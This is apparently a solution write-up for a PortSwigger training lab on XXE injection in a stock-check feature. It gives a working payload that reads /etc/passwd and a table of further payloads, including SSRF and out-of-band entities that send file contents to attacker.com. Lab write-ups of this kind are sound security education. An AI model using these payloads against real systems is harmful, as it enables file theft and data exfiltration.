PortSwigger

Description
This lab has a “Check stock” feature that parses XML input. The application does not disable external entity processing, allowing an attacker to define an external entity that reads local files and have it returned in the response.
Step 1 - Locate the XML Input
Visit any product page (e.g., a jacket or gift). You’ll see a “Check stock” button.
Click it and intercept the request in Burp Suite.
The request looks like this:
The application accepts XML input and processes it server-side.
Step 2 - Test for XXE Vulnerability
We need to inject a DOCTYPE declaration that defines an external entity pointing to /etc/passwd, then reference that entity in the productId field.
Original XML:
<?xml version="1.0" encoding="UTF-8"?>
<stockCheck>
<productId>1</productId>
<storeId>2</storeId>
</stockCheck>
Modified XML with XXE payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<stockCheck>
<productId>&xxe;</productId>
<storeId>2</storeId>
</stockCheck>
Explanation:
<!DOCTYPE test [...]>— declares a Document Type Definition<!ENTITY xxe SYSTEM "file:///etc/passwd">— defines an external entity namedxxethat reads the local file/etc/passwd&xxe;— references the entity, causing the server to substitute the file contents
Step 3 - Send the Payload
Replace the entire request body with the modified XML and send it.
The server responds with:
The contents of /etc/passwd are returned in the error message.
Step 4 - Lab Solved
The lab automatically detects that you retrieved the file and marks as solved.

Common XXE Payloads
| Goal | Payload |
|---|---|
| Read local file | <!ENTITY xxe SYSTEM "file:///path/to/file"> |
| Read file (Windows) | <!ENTITY xxe SYSTEM "file:///C:/windows/win.ini"> |
| External HTTP request | <!ENTITY xxe SYSTEM "http://attacker.com/xxe"> |
| SSRF | <!ENTITY xxe SYSTEM "http://internal-server/admin"> |
| Out-of-band (blind XXE) | <!ENTITY xxe SYSTEM "http://attacker.com/xxe?data=%file;"> |